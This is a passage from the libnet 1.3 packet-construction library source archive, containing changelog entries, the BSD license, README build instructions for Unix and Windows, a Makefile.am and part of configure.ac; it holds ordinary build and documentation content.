libnet_pblock_insert_before() didn't remove ptag2 from old location (Sam Roberts) - Declared many constant arguments as const, const-correct code spews warnings when built against libnet. (Sam Roberts) - Include pcap DLT_ types from correct header, was using an internal one before. (Sam Roberts) - Declared many constant arguments as const, const-correct code spews warnings when built against libnet. (Sam Roberts) - `libnet_clear_packet()` wasn't clearing all packet context. (Sam Roberts) - Add `libnet_dll.c` as extra, so its there for win32, and build `libnet_link.c` (Sam Roberts) - This file wasn't being built, and needed to include bpf to build. (Sam Roberts) - Forgot to make device a const string here, too. (Sam Roberts) - make string argument constant (Sam Roberts) - only ignore Makefile in `libnet/` (Sam Roberts) - Replace `u_intX_t` with C99 `uintX_t`. (Thomas Habets) - `pclose()` following `popen()`, not `fclose()` (Thomas Habets) - snoof & dlpi: don't free on `libnet_link_close()` (Thomas Habets) - The non-standard types are no longer used. (Sam Roberts) - `/sw/..` path doesn't always exist (Sam Roberts) - `src/libnet_link_snoop.c`: Only fclose if `f!=NULL (Thomas Habets) - rc/libnet_link_snoop.c`: fixed snoop-based backend. Works on IRIX. (Thomas Habets) - Pointers not cleared after free could lead to double deallocation. (Sam Roberts) - Update autobuild endianness and unaligned checks. (Mike Frysinger) (Sam Roberts) - Adjust srcdir and builddir so libnet can build out-of-tree (Robin Getz/Mike Frysinger) (Sam Roberts) [v1.1.4][] - 2009-06-09 ----------------------- Release curated by Sam Roberts. ### Changes - Strip CRLF from files not in win32/ (Robert Scheck) ### Fixes - libnet was using `HAVE_CONFIG_H` in a public header to deal with platform types. https://bugzilla.redhat.com/show_bug.cgi?id=501633 - Patch to `libnet.h.in` for compilation on HURD (David Paleino) [v1.1.3][] - 2009-05-11 ----------------------- Merged 1.1.3 release candidate from packet factory, 1.1.2, debian patches, and my own fixes, including bugs causing memory corruption. Release curated by Sam Roberts. ### Changes - Convert from latin-1 to utf-8, from Robert Scheck. (Sam Roberts) - Removed CVS crud, again. (Sam Roberts) - Applied autotools cleanup patch from Stefanos. (Sam Roberts) - Applied patch from Stefanos to remove the autotools ephemera that leaked back in. (Sam Roberts) - Updated .so revision to be one backwards compatible interface after 1.1.2.1-fork's. (Sam Roberts) - merged autogen.sh from 1.1.3, now ltmain.sh comes from autogen.sh (Sam Roberts) - Update .so version to be one src change past the last debian release. Debian patches to v1.1.2.1 used 4:0:3, in error, so we use 5:0:4, as per the rules. See Makefile.am comments for reference. (Sam Roberts) - autotools merged from v1.1.3 to v1.1.2 (Sam Roberts) - Remove autotools. And some garbage local files that should not have been in upstream tarball. (Sam Roberts) - Removed object files and cvs conflict residue contained in original package. (Sam Roberts) - doxygen configuration updated, html seems fine - I don't know about the man pages. (Sam Roberts) - strip CVS subdirectories from upstream package (Sam Roberts) - Added a `libnet_version()` function - Internals: - added a payload builder macro - Added an HSRP builder - Added `AC_PREREQ(2.50)` to `configure.in` to come correct - Added a libnet UDP header prototype. We need to add an entire exported interface for the sole purpose of casting captured packets, this will presumably be a part of the pcap integration. - Added `libnet_adv_write_raw_ipv4()` - Updated the autoconf/automake stuff to be up to date with the latest versions. We now use libtool. - Changed all empty function prototypes to contain the void keyword - Removed all C++ style comments - Removed the configure.in check for `strerror()` ### Fixes - Fixed various errors, including memory corruption, when IPv4 options are modified. (Sam Roberts) - Fixed doxygen errors and warnings, and added a deveoper script to prepare libnet. (Sam Roberts) - Patches from Stefanos. (Sam Roberts) - Fix for debian bug 418975, IPv6 wasn't updating `ip_offset`. See http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=418975 and sample `test_ipv6_icmpv4.c` for more info and reproduction. (Sam Roberts) - 802.1Q and 802.1X header documentation was incorrectly using `/** /**` is reserved for doxygen documentation comments, and they didn't have any. That those packet headers, and no others, were marked that way was causing man pages to be generated for them, incomplete man pages that then were being hacked by debian patches 02- and 03-. (Sam Roberts) - Bug fixes and reproduction code for `ip_offset` accounting problem in `libnet_build_ipv4()` (Sam Roberts) - debian patch 06 attempts to free the wrong pointer, and also leaks memory from the inner loop. (Sam Roberts) - libnet (inconsistently) uses various signed and/or unsigned typedefs instead of char ANSI C uses char for string literals and the standard library, so this generates many warnings. I've fixed a number of the places where types representing null-terminated strings weren't typed correctly. (Sam Roberts) - Merged Debian fixes: - 09-fix_hurd-i386_build.patch from debian source package See http://packages.debian.org/source/sid/libnet (Sam Roberts) - 08-fix_libnet_checksum.c.patch from debian source package See http://packages.debian.org/source/sid/libnet (Sam Roberts) - 07-add_libnet-cq-end-loop.patch from debian source package See http://packages.debian.org/source/sid/libnet (Sam Roberts) - 06-fix_libnet_pblock_coalesce_leak.patch from debian source package See http://packages.debian.org/source/sid/libnet (Sam Roberts) - 04-fix_libnet_build_ntp.patch from debian source package See http://packages.debian.org/source/sid/libnet (Sam Roberts) - 03-fix_libnet_802_1x_hdr.3.patch from debian source package See http://packages.debian.org/source/sid/libnet (Sam Roberts) - 02-fix_libnet_802_1q_hdr.3.patch See http://packages.debian.org/source/sid/libnet (Sam Roberts) - 01-fix_libnet-functions.h.3.patch from debian source package See http://packages.debian.org/source/sid/libnet (Sam Roberts) - Fixed a bug in `libnet_build_ntp()` where two arguments werent used due to a typo - Fixed a bug ln `libnet_name2addr4()` in which it didnt call hstrerror - Fixed a memory leak in `libnet_if_addr.c` - Fixed the `cdp.c` sample code - Fixed the checksum function - Fixed a signed/unsigned comparison warning in the `LIBNET_DO_PAYLOAD()` macro [UNRELEASED]: https://github.com/libnet/libnet/compare/v1.2...HEAD [v1.3]: https://github.com/libnet/libnet/compare/v1.2...v1.3 [v1.2]: https://github.com/libnet/libnet/compare/v1.1.6...v1.2 [v1.1.6]: https://github.com/libnet/libnet/compare/v1.1.5...v1.1.6 [v1.1.5]: https://github.com/libnet/libnet/compare/v1.1.4...v1.1.5 [v1.1.4]: https://github.com/libnet/libnet/compare/v1.1.3...v1.1.4 libnet-1.3/LICENSE0000664000175000017500000000253614506572036012071 0ustar syqsyqCopyright (c) 1998 - 2002 Mike D. Schiffman Copyright (c) 2009 - 2013 Sam Roberts All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. libnet-1.3/Makefile.am0000664000175000017500000000430114506572036013110 0ustar syqsyq# # Libnet automake information file # Copyright (c) 1998 - 2004 Mike D. Schiffman # All rights reserved. # DISTCHECK_CONFIGURE_FLAGS = --enable-doxygen-doc --disable-doxygen-html --disable-samples ACLOCAL_AMFLAGS = -I m4 ${ACLOCAL_FLAGS} bin_SCRIPTS = libnet-config pkgconfigdir = $(libdir)/pkgconfig pkgconfig_DATA = libnet.pc dist_doc_DATA = README.md ChangeLog.md LICENSE EXTRA_DIST = README.win32 autogen.sh libnet-config.in SUBDIRS = include src win32 if ENABLE_SAMPLES SUBDIRS += sample endif if ENABLE_TESTS SUBDIRS += test endif if ENABLE_DOXYGEN SUBDIRS += doc .PHONY: doc doc: $(MAKE) -C @top_builddir@/doc $@ ## The distribution should include man pages, which are generated dist-hook: doc else doc: @echo "Doxygen documentation (html + man) disabled, skipping ..." endif ## Check if tagged in git release-hook: @if [ ! `git tag -l v$(PACKAGE_VERSION) | grep $(PACKAGE_VERSION)` ]; then \ echo; \ printf "\e[1m\e[41mCannot find release tag v$(PACKAGE_VERSION)\e[0m\n"; \ printf "\e[1m\e[5mDo release anyway?\e[0m "; read yorn; \ if [ "$$yorn" != "y" -a "$$yorn" != "Y" ]; then \ printf "OK, aborting release.\n"; \ exit 1; \ fi; \ echo; \ else \ echo; \ printf "\e[1m\e[42mFound GIT release tag v$(PACKAGE_VERSION)\e[0m\n"; \ printf "\e[1m\e[44m>>Remember to push tags!\e[0m\n"; \ echo; \ fi ## Target to run when building a release release: doc distcheck release-hook @for file in $(DIST_ARCHIVES); do \ md5sum $$file > ../$$file.md5; \ sha256sum $$file > ../$$file.sha256; \ done @mv $(DIST_ARCHIVES) ../ @echo @echo "Resulting release files:" @echo "=================================================================" @for file in $(DIST_ARCHIVES); do \ printf "%-32s Distribution tarball\n" $$file; \ printf "%-32s " $$file.md5; cat ../$$file.md5 | cut -f1 -d' '; \ printf "%-32s " $$file.sha256; cat ../$$file.sha256 | cut -f1 -d' '; \ done # (GNU make only) Unless we say otherwise, spare us the # “Entering/Leaving directory ...” messages GNUMAKEFLAGS = $(if $(value VERBOSE),,--no-print-directory) libnet-1.3/README.md0000664000175000017500000001665414506572036012351 0ustar syqsyq[![1b][]][1] [![2b][]][2] [![3b][]][3] [![CodeDocs Status][]][CodeDocs] Packet Construction and Injection ================================= Libnet is an API to help with the construction and injection of network packets. It provides a portable framework for low-level network packet writing and handling (use libnet in conjunction with libpcap and you can write some really cool stuff). Libnet includes packet creation at the IP layer and at the link layer as well as a host of supplementary and complementary functionality. Libnet is very handy with which to write network tools and network test code. Some projects, available in Debian/Ubuntu and OpenBSD, using libnet are: - [arping](https://github.com/ThomasHabets/arping) - [ettercap](https://www.ettercap-project.org/) - [ipguard](http://ipguard.deep.perm.ru/) - [isic](http://isic.sourceforge.net/) - [nemesis](https://github.com/libnet/nemesis/) - [packit](http://packetfactory.openwall.net/projects/packit/) - [tcptraceroute](https://web.archive.org/web/20130424094134/http://michael.toren.net/code/tcptraceroute/) - [yersinia](https://web.archive.org/web/20180522141004/http://www.yersinia.net/) > **NOTE:** Legacy code written for *libnet-1.0.x* is unfortunately > **incompatible** with *libnet-1.1.x* and later. > See the [Migration Guide](doc/MIGRATION.md) for porting help. Using -lnet ----------- Libnet is installed as a library and a set of include files. The main include file to use in your program is: #include To get the correct search paths to both the header and library files, use the standard `pkg-config` tool (old `libnet-config` is deprecated): $ pkg-config --libs --static --cflags libnet -I/usr/local/include -L/usr/local/lib -lnet The prefix path `/usr/local/` shown here is only the default. Use the `configure` script to select a different prefix when installing libnet. For GNU autotools based projects, use the following in `configure.ac`: # Check for required libraries PKG_CHECK_MODULES([libnet], [libnet >= 1.2]) and in your `Makefile.am`: proggy_CFLAGS = $(libnet_CFLAGS) proggy_LDADD = $(libnet_LIBS) > Online docs available at . See > the man page and [sample test code](sample/) for more information. Building -------- First download the [latest release][] from GitHub. Libnet employs the [GNU configure and build system][autotools]. The release tarballs and zip files ship with a pre-built `configure` script: $ tar xf libnet-x.y.z.tar.gz $ cd libnet-x.y.z/ $ ./configure && make $ sudo make install To list available options, type ./configure --help ### Building from GIT/GitHub When building from GIT, use ./autogen.sh to generate the `configure` script. For this you need the full suite of the GNU autotools: autoconf (>=2.69), automake (>=1.14), libtool (>=2.4.2). How to install the dependencies varies by system, but on many Debian derived systems, `apt` can be used: $ sudo apt install autoconf automake libtool $ ./autogen.sh $ ./configure && make $ sudo make install ### Using Conan Libnet is available on [Conan Center](https://conan.io/center/libnet). To use, add `libnet/1.2` to your `conanfile.txt` ### Building with Docker First build the dev. contrainer: $ cd .devcontainer $ docker build -t libnet-builder . Then compile libnet with docker: $ cd .. $ docker run -it --rm -v $(pwd):$(pwd) --workdir=$(pwd) libnet-builder $ ./autogen.sh # If you've cloned from GitHub $ ./configure $ make ### Running Unit Tests with CMocka Running tests in the dev. container (above): $ ./autogen.sh # If you've cloned from GitHub $ ./configure --enable-tests $ make check make check-TESTS PASS: udld 1 - libnet_udld__checksum_calculation PASS: udld 2 - libnet_build_udld__pdu_header_only PASS: udld 3 - libnet_build_udld__tlv_device_id PASS: udld 4 - libnet_build_udld__tlv_port_id PASS: udld 5 - libnet_build_udld__tlv_echo PASS: udld 6 - libnet_build_udld__tlv_message_interval PASS: udld 7 - libnet_build_udld__tlv_timeout_interval PASS: udld 8 - libnet_build_udld__tlv_device_name PASS: udld 9 - libnet_build_udld__tlv_sequence_number PASS: udld 10 - libnet_build_udld__build_whole_packet_with_checksum PASS: ethernet 1 - test_libnet_build_ethernet ============================================================================ Testsuite summary for libnet 1.3 ============================================================================ # TOTAL: 11 # PASS: 11 # SKIP: 0 # XFAIL: 0 # FAIL: 0 # XPASS: 0 # ERROR: 0 ============================================================================ > **Note:** on Linux the tests run in a separate network namespace > (using `unshare`), so no root (sudo) access is needed, but on other > systems you may need to to be root, or have to correct capabilities > or permissions. ### Building the Documentation To build the documentation (optional) you need doxygen and pod2man: $ sudo apt install doxygen $ sudo apt install pod2man || sudo apt install perl For neat graphics in the HTML documentation, also install graphviz. There is also a PDF version of the docs, to build that you need quite a few more packages: $ sudo apt install texlive-extra-utils texlive-latex-extra \ texlive-fonts-recommended latex-xcolor \ texlive-font-utils For Microsoft CHM docs you need the HTML Help Workshop, which is part of Visual Studio: http://go.microsoft.com/fwlink/p/?linkid=154968, on UNIX and GNU/Linux systems, see `chmcmd`, which is available in the [FreePascal](http://www.freepascal.org/) suite: $ sudo apt install fp-utils-3.0.4 Origin & References ------------------- Libnet is widely used, but had been unmaintained for a long time and its author unreachable. This version was forked from the 1.1.3 release candidate from [packetfactory.net][origin], bug fixed, developed, and re-released. Use GitHub issues and pull request feature for questions and patches: http://github.com/libnet/libnet Some old docs are available at: http://packetfactory.openwall.net/projects/libnet/index.html ------------------------------------------------------------------------- - v1.1 (c) 1998 - 2004 Mike D. Schiffman http://www.packetfactory.net/libnet - v1.1.3 and later (c) 2009 - 2013 Sam Roberts http://github.com/libnet/libnet ------------------------------------------------------------------------- [latest release]: https://github.com/libnet/libnet/releases [autotools]: https://autotools.io/ [origin]: http://packetfactory.openwall.net/projects/libnet/ [1]: https://github.com/libnet/libnet/actions/workflows/build.yml/ [1b]: https://github.com/libnet/libnet/actions/workflows/build.yml/badge.svg [2]: https://github.com/libnet/libnet/actions/workflows/build-freebsd.yml/ [2b]: https://github.com/libnet/libnet/actions/workflows/build-freebsd.yml/badge.svg [3]: https://github.com/libnet/libnet/actions/workflows/build-windows.yml/ [3b]: https://github.com/libnet/libnet/actions/workflows/build-windows.yml/badge.svg [CodeDocs]: https://codedocs.xyz/libnet/libnet/ [CodeDocs Status]: https://codedocs.xyz/libnet/libnet.svg libnet-1.3/README.win320000664000175000017500000002277014506572036012707 0ustar syqsyqInformation, Recommendations and Build Instructions for Windows *************************************************************** _____________________________ IMPORTANT _______________________________ The execution of the currently shipped msvcbuild.bat batch script will causes ANY subsequent none-MSVC build to fail. It has been wrongly set up to copy several MSVC-specific header files from /win32/ to /include/ and /include/libnet/ during the build process. This is a high priority issue and will be taken care of ASAP. If you ever have to make use of this file, consider compiling all other builds from a separate tarball. _______________________________________________________________________ This file list additional steps and suggestions for Windows users. Please see INSTALL for a more general overview and doc/PORTED for other platforms. Unless you know what you are doing, you should follow the recommendations below. Notice that there are plenty of other (sometimes better) ways to build libnet, but these steps and suggestions are known to work. If the build breaks, please re-read this guide carefully. Contents ======== 1. Introduction 1.1 Microsoft Visual C++ and GCC/MinGW 1.2 WinPcap/Npcap 1.3 Supported Operating Systems 2. MinGW Compiler 2.1 Native 2.2 Cross-Compiling 3. Microsoft Visual C++ 1. Introduction =============== 1.1 Microsoft Visual C++ and GCC/MinGW -------------------------------------- The Microsoft Visual C++ compiler (aka MSVC) and the GCC Windows port (aka MinGW) are unfortunately not fully compatible. Although MSVC is a great compiler, libnet has been developed with the GNU toolchain in mind. So building libnet with the Visual C++ Build Tools will always have its flaws, even while it might work in some points. Most of libnet’s development is therefore done with GCC and its MinGW Windows port. In other words, if this this all new to you, I recommended you to use MinGW for building libnet on Windows. On the other hand, the two can work well together: If you for instance build libnet with MinGW, and you want to use it with MSVC too (or vice versa), you can use the DLL and the supplied `libnet*.def` file located in /win32/ (this file is always rebuild at the end of every successful build on windows) to create an MSVC compatible import library that you can use to link your projects with without the need of rebuilding libnet again. To produce a MinGW compatible import library from any libnet DLL: dlltool -D path/to/libnet*.dll -d path/to/libnet*.def -l libnet.dll.a To produce a MSVC compatible import library from any libnet DLL: lib /machine:X64 /def:example.def or lib /machine:X86 /def:example.def Note 1: If you have removed any or all symbol information from the DLL (aka "stripped" it), during build, by for example running configure with `--enable-fast`, then this obviously won't work. 1.2 WinPcap/Npcap ----------------- Currently, the supported method of sending packets under Windows is with WinPcap . However, libnet's support for Npcap , an update of WinPcap sponsored by the Nmap Project, is being seriously considered. > Windows users should know that with the switch to Npcap, WinPcap > compatibility is expected to be deprecated. Please be sure to install the WinPcap/Npcap driver/DLL and make sure that the content of the Wpdpack's/Npcap SDK's Include and Lib directories are somewhat reachable by your compiler. Note 2: Remember that you cannot use MSVC-generated .lib files to create shared libraries with MinGW, you have to use the lib*.a files. WinPcap development came to a standstill before the Developer's Pack ever provided x64 compatible lib*.a files for use with MinGW/Cygwin. And since libnet depends on WinPcap, you would have to compile 64-bit lib*.a libraries yourself if you want to be able to produce 64-bit compatible libnet builds with MinGW/Cygwin. 1.3 Supported Operating Systems ------------------------------- At the latest with the switch to Npcap, libnet support for Windows XP, Windows Server 2003 and earlier will be dropped. I can think of too many better things to do than to continuously deal with error handling and backwards compatibility (msvcrt vs crtdll) for EOL systems. Remnants in the source suggests that building libnet with Cygwin must have been possible at some point. This may or may not be the case these days. If it still works or you get it to work (again), let us know. 2. MinGW Compiler ================= Both native and cross compilation are possible, and there are quite a few possibilities and options to choose from. If you just want to get over with it, follow these steps: Known traps are: - Setting the wrong (or no) prefix. (important when running `make install`) - Using incompatible WinPcap libraries for x64 (see Note 2) - Not having said WinPcap libraries and header files in your compiler's path Note 3: If you're building with MinGW, and want to install libnet to your compiler's lib and include directories, you almost always want to set the prefix manually. If you don't know what that means, run `gcc -v`, look for `--prefix=/some/path` -- use that. Note 4: If you're using a multilib MinGW-w64 GCC compiler, make sure to add the `-m32` or `-m64` to `CFLAGS` to instruct the compiler to build for your desired architecture. 2.1 Native ---------- The recommended MinGW distribution for building libnet is Msys2. First, follow the installation instructions for Msys2 available at . Second, install Wpdpack/Npcap SDK, as mentioned above. Then, depending on your desired target architecture, open a mingw32 or mingw64 shell, navigate to the source directory, and execute the following commands: If you want to produce 32 bit binaries: CFLAGS="-Ipath/to/wpdpack/Include" LDFLAGS="-Lpath/to/wpdpack/Lib/" ./configure --prefix=/mingw64 If you want to produce 64 bit binaries: CFLAGS="-Ipath/to/wpdpack/Include" LDFLAGS="-Lpath/to/wpdpack/Lib/x64" ./configure --prefix=/mingw64 Followed by: make sudo make install 2.2 Cross-Compiling ------------------- During sample building, you may see a warning similar this: Could not determine the host path corresponding to ... a path ... Continuing, but uninstalled executables may not work. This, among other things, means that the samples will depend on a shared version of libgcc (aka `libgcc_s_sjlj-1.dll`). If no shared version of libgcc was built when the compiler was configured, you most likely won't be able to execute them. In that case, your best bet is to link with the static version of libgcc by disabling shared libraries altogether ./configure --disable-shared In general, you should know what you're doing and what your host, target and compiler are all about beforehand. Remember, you still need the Wpdpack/Npcap `Lib` and `Include` files, as mentioned above. These steps have been successfully tested on Ubuntu and the default mingw32-w32 toolchain (GCC 4.8). The recommended steps to build libnet therefore are: If you're targeting x86: CFLAGS="-Ipath/to/wpdpack/Include" LDFLAGS="-Lpath/to/wpdpack/Lib" ./configure --host=i686-w64-mingw32 --prefix=/usr/i686-w64-mingw32 If you're targeting x64: CFLAGS="-Ipath/to/wpdpack/Include" LDFLAGS="-Lpath/to/wpdpack/Lib/x64" ./configure --host=x86_64-w64-mingw32 --prefix=/usr/x86_64-w64-mingw32 Followed by: make sudo make install Notice that the --host option is usually all you need for cross-compiling. Note 5: Although the steps should be very similar, if you're using any other distribution of MinGW (cross or native), you're pretty much on your own. Suggestions, bug reports/fixes, and pull requests, see: https://github.com/libnet/libnet/issues 3. Microsoft Visual C++ ======================= Known traps are: - Not using the correct (x86 or x64) version of the Visual Studio command prompt - Using incompatible WinPcap libraries for x64 (see Note 2) - Not having said WinPcap libraries and header files in your compiler's path Until the issue described at the top of this document is completely resolved, MSVC support should be considered a work in progress and unsafe. And that’s why I won't even go into it, and instead leave you with these old but still perfectly fine instructions: Run msvcbuild.bat to build for Win32 with MSVC ---------------------------------------------- The batch file takes arguments and sets the appropriate path and environment variables for the desired built by running either vsvars32.bat (for x86), vcvars64.bat (for x64) or vcvarsall.bat (for Cross development). Type `msvcbuild.bat help` for a description of all available options. If no argument is specified, x86 is assumed. The batch file copies pre-prepared headers out of win32/, avoiding the requirement for a gnu (Cygwin or MinGW) build environment. The batch file hard-codes the location of the WinPcap developer's tools. You may have to modify it for your environment, or install the developer's pack in the expected location. Although not required, it is advisable to execute the batch file from a VS2015 Developer Command Prompt. For Visual Studio 2015, the shell can be found at: Program Files (x86) >> Microsoft Visual Studio 14.0 >> Common7 >> Tools >> VsDevCmd.bat After building, libnet libraries and `.obj` files are found in newly created `\libnet\src\[Win32|Win64]\` `\libnet\lib\[x86|x64]\` respectively. libnet-1.3/VERSION0000664000175000017500000000000414506572036012120 0ustar syqsyq1.3 libnet-1.3/autogen.sh0000775000175000017500000000057314506572036013064 0ustar syqsyq#!/bin/sh # # A bootstrapping script that can be used to generate the autoconf, # automake and libtool-related scripts of the build process. Only # useful for developers updating Makefile.am, configure.ac etc. # Regular users building from released tarballs can use the shipped # configure script, that generates Makefile's from Makefile.in's autoreconf -W portability -vif $* libnet-1.3/bin/0000775000175000017500000000000014506572036011626 5ustar syqsyqlibnet-1.3/bin/map-pblock-types0000775000175000017500000000073214506572036014745 0ustar syqsyq#!/usr/bin/ruby -w # This utility is used to maintain the pblock mapping to strings in # src/libnet_internal.c, see the in-source comment in that file. open("include/libnet/libnet-structures.h").each do |line| #p line next unless line =~ /^#define (LIBNET_PBLOCK_)(\S+).*/ #p [$1, $2] type = $1+$2 name = $2.sub(/_H$/, "").downcase.inspect next if type == "LIBNET_PBLOCK_DO_CHECKSUM" puts " case #{type}:" puts " return (#{name});" end libnet-1.3/configure.ac0000664000175000017500000003370714506572036013356 0ustar syqsyq# # Libnet autoconfiguration information file # Copyright (c) 1998 - 2002 Mike D. Schiffman # Modified by: Ali Abdulkadir , # Joachim Wiberg # All rights reserved. # # Process this file with autoconf to produce a configure script. # Update VERSION for new releases, used also by the win32 build system. AC_INIT([libnet], m4_esyscmd([sed -n '1p' VERSION | tr -d '\n']), [https://github.com/libnet/libnet/issues],[], [https://github.com/libnet/libnet]) # Visible in resulting configure script, e.g. with ./configure --version AC_COPYRIGHT([Copyright (C) 1998 - 2022 The libnet Developer Community.]) AC_REVISION(${VERSION}) # the autotools and libtool should be at least these versions AC_PREREQ([2.69]) LT_PREREQ([2.4.2]) AC_PROG_SHELL AC_PROG_SED AC_CHECK_PROGS([CHMOD],[chmod],[true]) AC_CANONICAL_TARGET AC_CONFIG_SRCDIR([src/libnet_build_ip.c]) AC_CONFIG_MACRO_DIR([m4]) AM_INIT_AUTOMAKE([1.14 foreign subdir-objects no-dependencies dist-zip]) AM_SILENT_RULES([yes]) AC_CONFIG_HEADERS([include/config.h]) AC_CONFIG_FILES([Makefile \ libnet-config \ doc/Doxyfile \ doc/Makefile \ include/Makefile \ include/libnet.h \ libnet.pc \ src/Makefile \ sample/Makefile \ test/Makefile \ win32/Makefile]) AC_CONFIG_FILES([doc/fixmanpages], [chmod a+x doc/fixmanpages]) # For CMocka tests to fit in with autotools `make check` AC_REQUIRE_AUX_FILE([tap-driver.sh]) # Check for the usual programs AC_PROG_CC AC_PROG_INSTALL AC_USE_SYSTEM_EXTENSIONS # The default is to use only PIC objects. # This can still be overwritten with --without-pic LT_INIT([pic-only]) # # Check for headers # AC_CHECK_HEADERS([sys/sockio.h net/if.h sys/ioctl.h]) AC_CHECK_FUNCS([gethostbyname2]) AC_CHECK_FUNCS([getifaddrs]) AC_TYPE_UINT16_T AC_TYPE_UINT32_T AC_TYPE_UINT64_T AC_MSG_CHECKING(for socklen_t) AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[ #include #include ]], [[ socklen_t x; ]])],[have_socklen_t=yes],[have_socklen_t=no]) AS_IF([test "x$have_socklen_t" = "xyes"], [ AC_DEFINE(HAVE_SOCKLEN_T, 1, [define if socklen_t is defined])]) AC_MSG_RESULT($have_socklen_t) # # And some custom things # AC_LIBNET_ENDIAN_CHECK AC_SUBST(ENDIANESS) AC_SUBST(ADDITIONAL_LIBS) AC_SUBST(PKG_CONFIG_DEFINES) AC_SUBST(PKG_CONFIG_LIBS) AC_SUBST(PKG_CONFIG_CFLAGS) AC_SUBST(LTLIBOBJS) # Get link-layer interface type AC_ARG_WITH( [link-layer], [AS_HELP_STRING([--with-link-layer], [when cross-compiling, one of * from libnet_link_*.c @<:@autodetect@:>@])]) AC_CHECK_HEADERS([net/pfilt.h sys/net/nit.h net/raw.h sys/dlpi.h linux/socket.h]) AC_MSG_CHECKING(link-layer packet interface type) AS_IF([test -n "${with_link_layer}"], [ AS_CASE([${with_link_layer}], [bpf], [AC_LIBOBJ([libnet_link_bpf])], [pf], [AC_LIBOBJ([libnet_link_pf])], [snit], [AC_LIBOBJ([libnet_link_snit])], [nit], [AC_LIBOBJ([libnet_link_nit])], [snoop], [AC_LIBOBJ([libnet_link_snoop])], [dlpi], [AC_LIBOBJ([libnet_link_dlpi])], [win32], [AC_LIBOBJ([libnet_link_win32])], [none], [AC_LIBOBJ([libnet_link_none])], [linux], [AC_LIBOBJ([libnet_link_linux]) AC_LIBNET_LINUX_PROCFS], [AC_MSG_ERROR([Invalid link type "${with_link_layer}"])]) AC_MSG_RESULT(user selected link layer ${with_link_layer})], [test "${cross_compiling}" != "yes" -a -r /dev/bpf0], [ AC_LIBOBJ([libnet_link_bpf]) AC_MSG_RESULT(found link layer bpf)], [test "${ac_cv_header_net_pfilt_h}" = "yes"], [ AC_LIBOBJ([libnet_link_pf]) AC_MSG_RESULT(found link layer pf)], [test "${cross_compiling}" != "yes" -a -r /dev/nit], [ AC_LIBOBJ([libnet_link_snit]) AC_MSG_RESULT(found link layer snit)], [test "${ac_cv_header_sys_net_nit_h}" = "yes"], [ AC_LIBOBJ([libnet_link_nit]) AC_MSG_RESULT(found link layer nit)], [test "${ac_cv_header_net_raw_h}" = "yes"], [ AC_LIBOBJ([libnet_link_snoop]) AC_MSG_RESULT(found link layer snoop)], [test "${ac_cv_header_sys_dlpi_h}" = "yes"], [ AC_LIBOBJ([libnet_link_dlpi]) AC_MSG_RESULT(found link layer dlpi) AC_DEFINE(HAVE_DLPI, 1, [Define if the header exists.])], [test "${ac_cv_header_linux_socket_h}" = "yes"], [ AC_LIBOBJ([libnet_link_linux]) AC_MSG_RESULT(found link layer linux) AC_LIBNET_LINUX_PROCFS], [test "${cross_compiling}" != "yes" -a -c /dev/bpf0], [ # check again in case not readable AC_LIBOBJ([libnet_link_bpf]) AC_MSG_RESULT(found link layer bpf)], [test "${cross_compiling}" != "yes" -a -c /dev/nit], [ # check again in case not readable AC_LIBOBJ([libnet_link_snit]) AC_MSG_RESULT(found link layer snit)], [test "$target_os" = "cygwin"], [ AC_LIBOBJ([libnet_link_win32]) AC_MSG_RESULT(found link layer win32 wpcap)], [test "$host" = "i686-w64-mingw32" -o "x86_64-w64-mingw32" -o "x86_64-pc-mingw64"], [ AC_LIBOBJ([libnet_link_win32]) AC_MSG_RESULT(found link layer win32 @<:@WinPcap@:>@)],[ AC_LIBOBJ([libnet_link_none]) AC_MSG_WARN(could not find a link-layer packet interface) AC_MSG_WARN(link-layer packet injection will not be available)]) # Check for Doxygen and enable its features. # For details, see m4/ax_prog_doxygen.m4 and # http://www.bioinf.uni-freiburg.de/~mmann/HowTo/automake.html#doxygenSupport DX_DOXYGEN_FEATURE(ON) DX_DOT_FEATURE(ON) DX_CHI_FEATURE(OFF) DX_RTF_FEATURE(OFF) DX_XML_FEATURE(OFF) DX_PDF_FEATURE(OFF) DX_PS_FEATURE(OFF) DX_CHM_FEATURE(OFF) DX_HTML_FEATURE(ON) DX_MAN_FEATURE(ON) DX_INIT_DOXYGEN(${PACKAGE_NAME}, [${top_builddir}/doc/Doxyfile], [${top_builddir}/doc]) AM_CONDITIONAL(ENABLE_DOXYGEN, [test "x${DX_FLAG_doc}" = x1]) AM_CONDITIONAL(ENABLE_HTML, [test "x${DX_FLAG_html}" = x1]) AM_CONDITIONAL(ENABLE_MAN, [test "x${DX_FLAG_man}" = x1]) # Check for sample building AC_MSG_CHECKING([whether to build sample programs]) AC_ARG_ENABLE([samples], [AS_HELP_STRING([--enable-samples],[build sample programs @<:@default=no@:>@])], [enable_samples=$enableval], [enable_samples=no] ) AC_MSG_RESULT([$enable_samples]) AM_CONDITIONAL([ENABLE_SAMPLES], [test "$enable_samples" = "yes"]) # Check for tests enabling AC_MSG_CHECKING([enable tests]) AC_ARG_ENABLE([tests], [AS_HELP_STRING([--enable-tests],[enable unit tests @<:@default=no@:>@])], [enable_tests=$enableval], [enable_tests=no] ) AC_MSG_RESULT([$enable_tests]) AM_CONDITIONAL([ENABLE_TESTS], [test "$enable_tests" = 